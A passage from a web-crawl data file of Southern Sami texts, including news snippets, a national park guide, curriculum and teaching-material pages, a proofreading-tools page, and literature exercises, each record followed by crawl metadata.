Nyhet\n- SVT är inne i en storsatsning på lokal journalistik och ökar antalet redaktioner i snabb takt. Den nya redaktionen i Västervik ska förstärka bevakning... Nyhet\n- Massor av kärlek strömmade in från publiken när SVT direktsände högläsningen av Gösta Berlings saga i trettonhelgen. Slow-tv när det är som bäst, tyck... Nyhet\n- Från 2026 är OS-rättigheterna tillbaka i SVT. Alla kommer då ha möjlighet att följa de olympiska spelen i SVT:s kanaler och tjänster. Först ut är vint... Nyhet\n- SVT förstärker bevakningen av säkerhetsläget i världen. John Granlund tillträder en nyinrättade tjänst med ansvar för bevakning av hybridhot och säker... Nyhet\n- Årets julkalender, Kronprinsen som försvann , har varit mycket omtyckt av publiken och när nu alla 24 avsnitt sänts visar det sig att i snitt har 1 010... Nyhet","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/omoss.svt.se\/arkiv\/nyhetsarkiv\/2021-12-01-svt-nyheter-saernieh-orre-saemien-saerniebieline-aalka-gusnie-dihte-guvvie-jarngesne..html","date":"2023-01-31T06:49:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499845.10\/warc\/CC-MAIN-20230131055533-20230131085533-00567.warc.gz","language":"sma","language_score":0.9989855289,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9989855289459229}","num_words":317,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåessie edtjh guessine parhkesne vuelkedh?\nFïerhten jaepieboelhke tjaebpies Björnlandesne. Tjaktjen maahtah muerjieh tjöönghkedh, giesien vaanterdidh jïh daelvien juvri gïejh goerehtidh.\nDaelvie\nGosse daelvie jïh sjuevnjede jïh jïjnjh lopmh dellie hijven gamte moeretreavkah utnedh. Sjuevnjedstïjje tjaebpies daelvieeatnamisnie. Såemies aejkien askedibie dan tjoevkes guktie maahta tjoejkedh. Geehtedh jis johkh eah leah såavome.\nGïjredaelvie\nGihtjh jis geajnoem tjaangemesæjjan Angsjön lea baaleme. Gïjren tjarve hijven daelhkie tjoejkedh. Datne aaj maahtah juvri gïejh parhkesne goerehtidh.\nGiesie\nGosse geajnoe gejhkiedamme maahtah parhkese vuejedh. Vuejieh soejmilaakan. Aareh giesien dellie jïjnjh ledtieh desnie. Angsjön, Ansjöbähken, Björkbäcken jïh dah pluevieh desnie jïjnjh ledtieh. Mænngan laategesjædtoeh sjïdtedieh jïh datne maahtah muerjieh tjöönghkedh.\nTjaktje\nLasth båavjoeminie bietsiej jïh goesi gaskem. Ij leah naan tjoejhkh jïh tjïelkes elmie. Guessieh jïh vijrijh desnie gosse dah sarvh vijrieh. Vaanterdæjja maahta beavnardahkese vaedtsedh jïh beavnardahkem vuartasjidh.\nJuoge ietjat rádnaj\nJuoge dáv bielev ietjat rádnaj Facebookan, Twitterin, Google+ ja mailajn.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/guossidimdiededibme\/gaessie-edtjh-guessine-parhkesne-vuelkedh\/","date":"2023-01-28T09:42:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499541.63\/warc\/CC-MAIN-20230128090359-20230128120359-00326.warc.gz","language":"sma","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000004768371582}","num_words":144,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Idtji naan baalhka åarjelsaemien musihkese\nDaan iehkeden Folkelarm baalhkajoekedimmiem utni Riksscenesne Oslosne. Marja Mortensson lij nammoehtamme kategorijesne ræhpas klaasse, men idtji naan baalhka sjïdth daan iehkeden.\nMortensson daan jaapetje åålmehmusihkerinie sjïdti, jïh daan jaepien altese CD «Raajroe» lij nammoehtamme.\nFolkelarm lea nöörjen musihkeöörneme jïh suerkiegaavnedimmie mij ulmine åtna åålmehmusihkeartistide åehpiedehtedh nöörjen jïh gaskenasjonaale åålmeh- jïh veartenemusihkesuarkan.\nBaalhka ræhpas klaassese vadtasovvi Bjørn Kåre Odde.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.nrk.no\/sapmi\/idtji-naan-baalhka-aarjelsaemien-musihkese-1.16194412","date":"2023-01-29T01:54:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499697.75\/warc\/CC-MAIN-20230129012420-20230129042420-00674.warc.gz","language":"sma","language_score":0.9996718168,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996718168258667}","num_words":63,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Duedtie (KHV02‑02)\nVihkeles tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth duedtesne lea maehtedh soptsestidh jïh ussjedadtedh estetihkeles dååjresi jïh sjugneden prosessi bijjeli. Daate sæjhta jiehtedh faagebaakoeh jïh sjïere saemien baakoetjïerth nuhtjedh soptsestalleminie jïh njaalmeldh åehpiedehtieminie. Evtiedimmie njaalmeldh tjiehpiesvoetijste lea maehtedh aelkedh jïjtsh vïhtesjimmiej jïh dååjresi bïjre soptsestidh, jïh maehtedh visuelle vierhkievierhtieh, duedtiem jïh tjeahpoe- jïh kultuvrehistovrijes referaansh buerkiestidh.\nMaehtedh tjaeledh\nMaehtedh tjaeledh duedtesne lea visuellelaakan gaskesadtedh viehkine saemien væhtah jïh symbovlh nuhtjedh. Edtja aaj guvviedimmiem jïh teekstem nuhtjedh goh buektemevuekieh gaajhkine boelhkine aktene sjugneden prosessesne, åssjalommesi raejeste, sjissah jïh barkoeguvvieh jïh dokumentasjovnen raajan. Edtja aaj maehtedh teeksth jïh guvvieh ektesne nuhtjedh barkosne layoutine jïh jeatjah visuelle buektemevuekine, juktie domtesh, åssjaldahkh jïh mïelh buektedh. Tjaelemeevtiedimmie faagesne lea maehtedh aelkedh teeksth, væhtah jïh symbovlh tjåanghkan bïejedh, goske aelhkebe sjædta lohkedh, teekstem åssjelasse sjïehtedidh jïh kreatijvelaakan visuelle vierhkievierhtieh iktedidh.\nMaehtedh lohkedh\nMaehtedh lohkedh duedtesne lea maehtedh dam visuelle gïelem lohkedh jïh guarkedh jïh maehtedh væhtah jïh symbovlh, tjaalehtjimmieh, klaerieh, hammoeh jïh möönsterh toelhkestidh. Maehtedh lohkedh lea aaj åtnoebïhkedassh jïh jeatjah buerkiestimmieh toelhkestidh, juktie ïebni jïjtsevoeth guarkedh, guktie edtja dïrregh nuhtjedh jïh guktie barkoeprosessh juhtieminie. Lohkemeevtiedimmie faagesne lea aelkedh damtijidh jïh avkodadidh goske maahta laejhtehkslaakan ussjedadtedh visuelle vierhkievierhtiej jïh kulturelle referaansi bijjeli.\nMaehtedh ryöknedh\nMaehtedh ryöknedidh duedtesne lea maehtedh aerpievuekien saemien möölemevuekieh, jeatjah möölemevuekieh jïh ryöknedimmievuekieh nuhtjedh. Lea aaj maehtedh geometrijen maadth-hammoeh nuhtjedh, möönsterigujmie stååkedidh jïh eksperimenteeredh jïh perspektijveguvviedimmiem nuhtjedh. Maehtedh ryöknedidh duedtesne lea aaj proporsjovnh jïh mïetestahkem nuhtjedh sjugniedimmiebarkosne. Ryöknemeevtiedimmie faagesne lea maehtedh aelkedh aktem vihties barkoevuekiem fulkedh goske maahta matematihkeles vuekieh dïrreginie nuhtjedh jïjtse dåeriesmoereloetemisnie.\nDigitaale tjiehpiesvoeth\nDigitaale tjiehpiesvoeth duedtesne sæjhta jiehtedh digitaale dïrregh jïh medijh nuhtjedh goh skraejrie, pryöveme, dokumentasjovne jïh åehpiedehteme. Edtja aaj digitaale dïrregh jïh progammeeremem nuhtjedh kreatijve jïh sjugneden prosessine. Edtja aaj jïjtse jïh mubpiej sjugneden barkoem dokumenteeredh naemhtie guktie aalkoereaktam jïh persovnevaarjelimmiem krööhkeste. Daajroe njoelkedassi bïjre aalkoereaktan jïh persovnevaarjelimmien bïjre, gosse jïjtse jïh mubpiej guvvieh, filmh jïh sjugneden barkoem nuhtjie, lea vihkeles gaajhkine daltesinie. Evtiedimmie digitaale tjiehpiesvoetijste faagesne lea aelkedh aelhkie digitaale dïrregh mij medijh nuhtjedh, goske maahta jïjtse digitaale dorjesh hammoedidh mah dååjresh sjugniedieh, jïh domtesh, åssjalommesh jïh mïelh gaskesedtieh.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-03-24T09:21:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945279.63\/warc\/CC-MAIN-20230324082226-20230324112226-00029.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":342,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Namsskogan Uvikling Maahtoejarngem lokaalebeapmoe Mæreste jïh Trööndelaagen staatehaaltojem skreejrehtimmietjåanghkose bööreme, golken 19-b. 2022.\nSkreejrehtimmietjåanghkoe aalka ts 17.30 goske 22.00, Namskogan Familieparkesne jïh Trovnesen hotellesne.\nGieltegs lohkehtimmieh sjædta jïh åadtjode lokaalebeapmoem gåassodh.\nJis datne jieleminie gïehtelh jallh sïjhth aelkedh.\nBåetieh dle diekie!\nLohkh vielie programmen bïjre jïh gïeh edtjieh lohkehtidh\nBïeljelh jis båatah.\nMinngemes biejjien bïeljelidh lea golken 5-b.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/saernieh-2\/skreejrehtimmietjaanghkoe.13690.aspx","date":"2023-03-22T03:31:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943749.68\/warc\/CC-MAIN-20230322020215-20230322050215-00013.warc.gz","language":"sma","language_score":0.9999531507,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999531507492065}","num_words":55,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ludenso Create lea namhtah, utnijevietseles AR-dïrrege mij baaja datnem dov åssjalommesh visualiseeredh 3D-hammosne, jïh dov sjïere AR-dååjresh juekedh.\nBïejh 3D-modellem guvviedimmiepreejrese jïh sjiehtedh hammoem, rotasjovnem jïh posisjovnem. Gïehtjh dov modellh joekehts bielijste juktie gorredidh gaajhke sjugniesåvva reaktoe plaanesne.\nNuhtjh jienebh 3D-modellh juktie vielie gellielaaketje hammoeh darjodh. Ludenso Create lea dan intuitijve guktie maahtah saaht maam åssjalommesidie jieliedasse gåaskodh.\nJuekieh dov åssjalommesh mubpiejgujmie, jïh lïerh dov meatanlearoehkijstie. Gosse meatan sjïdth gallerijesne akten gallerijekodan tjïrrh lohkehtæjjeste maahtah skreejrehtidh - jïh skreejrehtamme sjïdtedh.\nVuartesjh dov kreasjovnh hammoem åadtjoeh rïektes veartenisnie. Hammojne Augmented Reality (AR) ih leah vielie vïedteldihkie dov skuvlebuartan. Juktie dov kreasjovnh AR:sne goerehtidh tjoerh \"Ludenso Create\"-appem AR-kompatibele ektievoetese veedtjedh, vuesiehtimmien gaavhtan iPad, iPhone jallh Android-tellefovne.\nSjugnedh sjïere grafihkem sosijaale medijinie, åehpiedehtieminie, plakaatine, kreatijve laavenjassine jallh jeatjah visuelle sisvegisnie viehkine dov 3D-modellem giesedh jïh luejhtedh jïjtjedh guvviej sïjse. Nuhtjh amma kamerafunksjovnem, jïh veedtjh 3D-guvviem saaht man duakan datne vaajtelh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.ludenso.com\/sami\/sorsamisk\/elev","date":"2023-06-03T20:17:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649343.34\/warc\/CC-MAIN-20230603201228-20230603231228-00369.warc.gz","language":"sma","language_score":0.9999747276,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999747276306152}","num_words":146,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2012\nFaage\nGiele\nISBN\n9788256017218\nFormaate\nLohkehtæjjabïhkedimmie\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n77\nDaate lea lohkehtæjjan bïhkedimmie Gïeline åahpenidh 3 learoevierhtese – learoehkidie mah åarjelsaemien mubpiegïeline luhkieh, 3.daltesisnie.\nGærjesne vuesiehtimmieh jïh raerieh guktie maahtah lohkemegærjam, barkoegærjam jïh CD:m nuhtjedh. Daesnie aaj buerkiestamme naan baakoeh jïh baakoetjïerth maam lohkemegærjesne gaavnh, jïh gååvnese aaj naan vuesiehtimmieh maam maahtah guelmiedidh jïh ööhpehtimmesne nuhtjedh.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/girji_gieline-aahpenidh-3-0","date":"2023-06-02T10:08:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648465.70\/warc\/CC-MAIN-20230602072202-20230602102202-00366.warc.gz","language":"sma","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999998807907104}","num_words":72,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien staeriedimmiedïrregh\nStaeriedimmiedïrregh MS Officasse\nWindows\n|Veedtjelh Divvun Manager jïh sijjiedehtieh tjaelemeprogrammem destie.||Bïhkedassh||Bïhkedsfilmh|\nOSX\nNB!\nDivvun 4 MS Officasse OSX:sne eah leah annje riejries dannasinie dåeroesmoerh leah. Barkeminie libie dejgujmie, jïh sïjhtijibie orrestehtedh dejtie bielide gosse gaervies dejgujmie. Vuelelen maahtah veedtjedh dam båeries versjovnem. NB! Båeries versjovne ij juhtieh MS Office 2016:ine! Divvun 4.1 LibreOfficasse hijvenlaakan jåhta (vuartesjh vuelelen).\n\n\n· Office 2011-bïhkedassh\n\n\n· Office 2008-bïhkedassh\n|Bïhkedsfilmh|\nStaeriedimmiedïrregh LibreOffice\nStaeriedæjjah LibreOfficasse Windowsasse jïh OSX:asse . Staeriedæjjah krïebpsjieh LibreOffice 6.0:m jallh urrebe. Jis daarpesjh båarasåbpoe versjovnh LibreOfficijste, maahtah daestie staeriedimmieprogrammh båarasåbpoe versjovnide daestie veedtjedh daennie bielesne.\n\n\n||LibreOffice-bïhkedassh (Windows )|\n\n\n||LibreOffice-bïhkedassh (macOS )|\nStaeriedimmiedïrregh Linuxasse\nDivvundïrregidie Linuxasse maahtah naemhtie sijjiedehtedh. Lohkh daejtie bïhkedasside.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/divvun.no\/sma\/korrektur\/korrektur.html","date":"2023-06-08T07:56:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224654606.93\/warc\/CC-MAIN-20230608071820-20230608101820-00464.warc.gz","language":"sma","language_score":0.9998463392,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999846339225769}","num_words":103,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne goerehtimmiem veeljedh daej sisnjeli\nDatne lïerh\nJearohke dov faageveeljemijstie:\n- matematihke jïh jeatjah realefaagh\n- stuvreme jïh ekonomije\n- histovrije, politihke jïh psykologije\n- gïele\n- jeatjah teoretihkeles faagh\nDatne byörh\n- ïedtjem utnedh teoretihkeles faagigujmie barkedh\n- væljoem utnedh laavenjostedh, struktuvren mietie barkedh jïh jïjtjedisiplijnem utnedh\n- ïedtjem utnedh tjaeledh jallh ryöknedidh\n- ïedtjem utnedh kultuvre- jïh seabradahketsiehkijste\nDatne åadtjoeh\n- studijemaahtoem jïh maahtah jollebe ööhpehtimmiem vaeltedh\nJis jollebe ööhpehtimmiem vaaltah, maahtah gaskem jeatjah sjïdtedh\n- skïemtjesåjhtere, dåaktere jallh veterinæære\n- insjenööre, juriste jallh ekonome\n- lohkehtæjja, psykologe jallh dotkije\nMaahtah aaj ööhpehtimmiem vaeltedh jeatjah barkojde – sïejhme studijemaahtojne maahtah dejtie jeanatjommes studijidie ohtsedh jïlleskuvline jïh universiteetine.\nBarkoesijjieh maehtieh årrodh\n- skïemtjegåetie, riektie, pollisestasjovne jallh tjïelten reereme\n- advokaatekontore, konsulentesïelte jallh insjenööresïelte\n- maanagïerte, skuvle jallh universiteete\nTsaekemekrïevenassh jollebe ööhpehtæmman\nSïejhme studijemaahtojne maahta dejtie jeanatjommes studijidie ohtsedh jïlleskuvline jïh universiteetine. Men såemies studijh sjïere tsaekemekrïevenassh utnieh:\n- Real-faagekrïevenassh: Såemies studijh krievieh dov leah vihties realfaagh. Dah studijh maehtieh årrodh insjenööre-, realfaage- jïh medisijnen studijh. Datne tsaekemekrïevenasside jïlleskuvle- jïh universiteetestudijidie gaavnh daesnie samordnaopptak.no.\nValg av fag i utdanningsprogram for studiespesialisering\n- Tar du realfag eller språk, samfunnsfag og økonomi, velger du to programfag på Vg2 som du må videreføre på Vg3. Dette kalles fordypning. Disse programfagene må være fra programområdet ditt.\n- Du skal velge to programfag til, ett på Vg2 og ett på Vg3. Disse kan være fra programområdet ditt eller fra et annet programområde i studieforberedende utdanningsprogram (for eksempel realfag eller fremmedspråk). Du trenger ikke videreføre valgfrie programfag på neste trinn.\n- Hadde du ikke fremmedspråk på ungdomstrinnet? Da må du ta fremmedspråk som fellesfag på Vg3 istedenfor det siste programfaget på Vg3.\n- Det er spesielle regler for valg av fag hvis du velger matematikk R1\/S1 som programfag på Vg2.\n- Det er opp til skolen din hvilke programfag som tilbys.\n- Har du spesielle framtidsdrømmer? Da bør du sjekke opptakskravene til studiene, før du velger fag.\n- Programfag i fremmedspråk og realfag gir tilleggspoeng ved opptak til høyere utdanning.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/studiespesialisering\/program\/v.st","date":"2023-09-25T12:40:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233508977.50\/warc\/CC-MAIN-20230925115505-20230925145505-00213.warc.gz","language":"sma","language_score":0.9970465899,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9970465898513794}","num_words":309,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nVaadtasovvemejaepie\n2011\nFaage\nGiele\nISBN\n978-82-7601-176-0\nFormaate\nSïejhme gærja\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n34\nGærjetje mij vuesehte guktie bearkoekrovhtem (biđus) doeltedh.\nDaate learoevierhtie vuesehte guktie edtjh bearkoekrovhtem (bidus) doeltedh. Åenehks tekstigujmie jïh tjeehpes-veelkes guvviejgujmie vuesehte guktie edtjh dåemiedidh. Gærjetje lea dovhtehke paehpierasse tjaalasovveme. Aerebe lea jeatja learoevierhtieh seamma raajrosne dorjesovveme. Dej sisvege lea gueliejoptse, eeplagaahkoe, paannelaejpie jïh laajpetjh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/girji_bearkoe-krovhte","date":"2023-09-23T10:03:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506480.7\/warc\/CC-MAIN-20230923094750-20230923124750-00178.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":59,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nAtlantbib\nBertije\nGiele\nFormaate\nGaskeviermiesæjroe\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nAamhtesh\nAtlantbib skuvleprosjeekte man sisnjelen learohkh Noerhterïjhkijste meatan, Saepmeste, dovne Latvieste, Litauenistie jïh Åarjel-slesvigeste.\nAtlantbib.org lea gaskeviermesne naan gærjaprosjeekte gusnie learohkh jïh lohkehtæjjah faagegærjah åesehth tjaelieh dovne gaajhkide noerhterïjhki skuvlide. Daah online-gærjah dovne seammaleejnesvoeth jïh joekehtassh gïetedellieh, noerhterïjhki jïh baltiske laanti histovrijen, geografijen, gïelen jïh kultuvren muhteste.\nDaesnie dovne åarjelsaemien gærjah. Jis veesmedahtah jïh åarjelsaemien gïelem veeljh, dellie jijhtieh dah gærjah mah åarjelsaemiengïelesne. Diedtelh båaloem Bøker på gaskeviermiesæjroen bijjiegietjesne.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_atlantbib-sma-fagboker-pa-nett","date":"2023-09-23T10:50:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506480.7\/warc\/CC-MAIN-20230923094750-20230923124750-00354.warc.gz","language":"sma","language_score":0.9999724627,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999724626541138}","num_words":81,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faage-jïh dïenesjefaalenasse\nGuktie Statped lea öörnedamme?\nStatped akte nasjovnaale etaate Ööhpehtimmiedirektovraaten nuelesne. Statped lea njieljie regijovnine faagegoevtesigujmie juakeme. Faagegoevtesh dïenesjh gorredieh govhte faagesuerkiej sisnjeli. Lissine Statped aktem jïjtse goevtesem åtna lïerehtimmievierhtide jïh teknologijeevtiedæmman.\nStatpeden faagesuerkieh\nStatped dam uvtemes lïerehtimmiemaahtoem åtna dej faagesuerkiej sisnjeli goh bieljehtstjelmehtsvoete \/ aktanamme vuejneme-, jïh govlemeteehpeme, åådtjeme aajlamïrhtoe, govleme, gellielaaketje learoetsagkesh, gïele\/soptsestimmie jïh vuejneme.\nStatped jienebefaageles barka. Jienebefaagelesvoete lea akte aktanimmie daestie\n- bijjiemaahtoe dejnie sjïere faagesuerkine\n- laavenjostoemaahtoe\n- gamte systeememaahtoe\n- ovmessie barkoedåehkieh seamma barkoesijjesne\n- dåaresthfaageles laavenjostoe faagen aerpievuekiej dåaresth laavenjostoe jeatjah staateles dïenesjigujmie\nSaemien sjïerepedagogeles dåarjoe (SEAD)\nSEAD dïedtem åtna dïenesji åvteste saemien utniejidie abpe laantesne. SEAD dïenesjh vadta indivijde- jïh systeemedaltesisnie noerhtesaemien, julevsaemien, åarjelsaemien jïh nöörjen gïelesne Statpeden faagesuerkiej sisnjeli.\nDïenesji våarome lea daajroe saemien gïelen jïh kultuvren bïjre dejnie sjïerepedagogeles bijjiemaahtojne ektine. SEAD evtede jïh bïhkede guktie edtja dejtie saemiengïelen sjïerepedagogeles learoevierhtide jïh goerehtallemematerijellem nuhtjedh.\nSkuvlefaalenasse elliestïjjen jïh bielietïjjen\nTjaktjen 2014 raejeste Statped dïedtem åtna göökte skuvli åvteste: Skådalen skuvle bieljehtstjelmehts learoehkidie (Oslo) jïh A.C. Møller skuvle (Tråante) væhtagïelen maadthskuvlelearoehkidie.\nSkådalen skuvle bieljehtstjelmehts learoehkidie lïerehtimmiefaalenassem vadta learoehkidie maadthskuvle- jïh jåarhkeskuvlesne mah leah bieljehtstjelmehts reakadimmien raejeste.\nA.C. Møller skuvle aktem guektiengïelen lïerehtimmiefaalenassem vadta (væhtagïele jïh nöörjen) elliesjaepien.\nLissine dam elliestïjjen lïerehtimmiem Statped faalenassem vadta bielielïerehtimmien bïjre raajan 12 våhkoeh jaepien dejtie learoehkidie mah nåakelaakan guvlieh.\nReakta lïerehtimmiem åadtjodh væhtagïelesne jïh væhtagïelen tjïrrh maadthskuvlesne jïh jåarhkelïerehtimmesne lea akte laakevïedteldihkie reakta, ööhpehtimmielaaken §2-6 jïh § 3-9 mietie. Gïeleraerine ektine Statped edtja viehkiehtidh hijven væhtagïelebyjresh tjåadtjoehtidh.\nSide 3 av 7","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.statped.no\/samisk-spesialpedagogisktjeneste-sead\/sead\/statped--akte-bielie-lierehtimmiesuerkeste\/faage-jih-dienesjefaalenasse\/guktie-statped-lea-oornedamme\/","date":"2023-10-03T17:22:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511170.92\/warc\/CC-MAIN-20231003160453-20231003190453-00834.warc.gz","language":"sma","language_score":0.9999753237,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999975323677063}","num_words":233,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Darjoeh laavenjasside soptsesasse «Duvrien-ålma».\nLohkh soptsesem «Duvrien-ålma» gærjeste «Staaloeh vienhtieh aske lea dålle» maam Kirsti Birkeland tjaaleme. Ella Holm Bull dam åarjel-saemien gïelese jarkoestamme. Vaestedh gyhtjelasside.\nGie Duvrien-ålma, dïhte almetje vuj duvrie?\nGie Biejjien-nïejte jïh man åvteste dïhte duvrie-ålmine ektine?\nGuktie Duvrien-ålma buektiehti nåajtoemistie baahtsedh?\nSaemiej gellie duvrien nommh. Mah dah? Jis ih mujhtieh, ohtsedh baakoe-gærjesne.\nMan åvteste saemien dan gellie duvrien nommh, datne vïenhth?\nNeebnh sjïere kultuvren biehkieh daennie soptsesinie.\nGellie åålmegh veartenen noerhte-dajvine mahte seammalaaketje duvrie-soptsesh utnieh. Man åvteste nimhtie? Ohtsedh bïevnesh gaske-viermesne.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:68eeb2a0-3544-4cc5-8c3b-236bc0f23004","date":"2023-09-22T07:29:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00300.warc.gz","language":"sma","language_score":0.999917388,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999173879623413}","num_words":85,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh novellese «Saemie – manne?» maam Beatrice Iren Fløystad tjaaleme.\nLohkh novellam «Saemie – manne?» maam Beatrice Iren Fløystad lea tjaaleme. Novella åarjel-saemien gïelese jarkoestovveme saemien noere-antologije-gærjeste «Riimiin rámiin» (2003). Vaestedh gyhtjelasside.\nBuerkesth daejtie baakojde jïjtjedh baakoejgujmie:\nlaahph\nskåape-saemie\nBuerkesth daejtie jiehtiegidie jïjtjedh baakoejgujmie:\n«dah doene-hæjtan laahph»\n«Saemieh tjuvride dåalvoeminie»\n«Baarhkohki-gietjieh mah ij daesnie jïh læjhkan desnie»\n«Mov aarke-biejjien baatarimmie»\n«Manne jïjtjemem væssjohtem»\nGuktie åejvie-almetjen jïjtjeguvvie jïh identiteete? Mehtie biejjeste ij åejvie-almetje vielie «saemine» orreme?\nGie åejvie-almetjen åvte-guvvie jïh guktie dïhte dåemede?\nMaam åejvie-almetje nïekede?\nMan åvteste åejvie-almetjen dan nåake domtesh jïh jïjtje-guvvie?\nGuktie minngemes 